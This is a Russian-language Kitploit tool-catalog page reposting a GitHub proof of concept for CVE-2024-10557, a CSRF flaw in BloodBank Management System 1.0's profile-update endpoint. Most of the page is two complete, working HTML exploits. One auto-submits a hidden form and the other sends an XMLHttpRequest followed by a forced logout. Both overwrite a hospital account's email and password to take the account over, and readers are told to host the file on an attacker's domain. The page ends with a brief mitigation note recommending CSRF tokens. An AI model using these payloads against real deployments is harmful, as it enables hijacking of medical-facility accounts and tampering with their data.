Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-10557 — CSRF POC для обновления профиля больницы, приводящий к захвату учетной записи | Kitploit
Инструменты/GitHubGitHub/bevennyamande/cve-2024-10557
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubbevennyamande/cve-2024-10557

CVE-2024-10557

CSRF POC для обновления профиля больницы, приводящий к захвату учетной записи

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Затрагиваемая версия:

  • BloodBank Management System: 1.0

Информация об уязвимости:

  • Тип уязвимости: Межсайтовая подделка запроса (CSRF)
  • Серьезность: ВЫСОКИЙ
  • Статус: Не исправлено

Уязвимая конечная точка:

  • Путь: /file/updateprofile.php

Описание уязвимости:

Существует CSRF-уязвимость на конечной точке /file/updateprofile.php, которая позволяет удаленному пользователю обновлять данные учетной записи больницы и может привести к захвату учетной записи, так как злоумышленник может обновить всю информацию, от электронной почты до пароля, что значительно увеличивает вероятность захвата учетной записи.

Успешная эксплуатация может привести к несанкционированным действиям, например, удалению данных, от имени жертвы. Кроме того, это может быть использовано при посещении вредоносных веб-сайтов с полезной нагрузкой.


Доказательство концепции (PoC):

Ниже приведен пример CSRF PoC-атаки, которая обновляет данные профиля авторизованной учетной записи больницы; разместите файл на домене, контролируемом злоумышленником. В моем случае я использовал localhost:

root@kitploit:~

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with Logout Redirect</title>
</head>
<body>
    <h2>CSRF Proof of Concept with Chained Logout</h2>

    <!-- Form to exploit CSRF vulnerability for updating profile -->
    <form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
        <input type="hidden" name="hname" value="parirenyatwa">
        <input type="hidden" name="hemail" value="[email protected]">
        <input type="hidden" name="hpassword" value="pari1234">
        <input type="hidden" name="hphone" value="0777054000">
        <input type="hidden" name="hcity" value="harare">
        <input type="hidden" name="update" value="Update">
    </form>

    <script>
        // Submit the CSRF form to update profile
        document.getElementById("csrfForm").submit();
   </script>
</body>
</html>



Доказательство концепции (PoC) для захвата учетной записи

  • Злоумышленник может эффективно обновить данные профиля, манипулируя электронной почтой и паролем, и принудительно выполнить logout CSRF, тем самым добившись захвата учетной записи.
root@kitploit:~

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
    <h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>

    <script>
        // Define the target URLs for the CSRF attack
        const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
        const logoutUrl = "http://localhost.local/bloodbank/logout.php";

        // Data for the profile update CSRF request
        const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";

        // Function to send the XMLHttpRequest
        function sendCSRFUpdate() {
            const xhr = new XMLHttpRequest();
            xhr.open("POST", updateUrl, true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

            // When the request is complete, redirect to the logout page
            xhr.onload = function() {
                if (xhr.status === 200) {
                    console.log("Profile update CSRF request completed");
                    // Redirect to logout URL to log the victim out
                    window.location.href = logoutUrl;
                } else {
                    console.error("Profile update failed with status:", xhr.status);
                }
            };

            // Send the request with the update data
            xhr.send(updateData);
        }

        // Trigger the CSRF attack by sending the update request
        sendCSRFUpdate();
    </script>
</body>
</html>




Воздействие:

  • Манипуляция данными: Злоумышленники могут изменять контент, отображаемый пользователям.
  • Репутационный ущерб: Пользователи могут потерять доверие к системе из-за вредоносных действий.

Рекомендации по смягчению последствий:

  1. Используйте CSRF-токен Реализуйте механизм для предотвращения междоменного доступа или поместите csrf токены в ваш запрос, а также избегайте выполнения изменяющих состояние действий через GET-запросы.
Скачать инструмент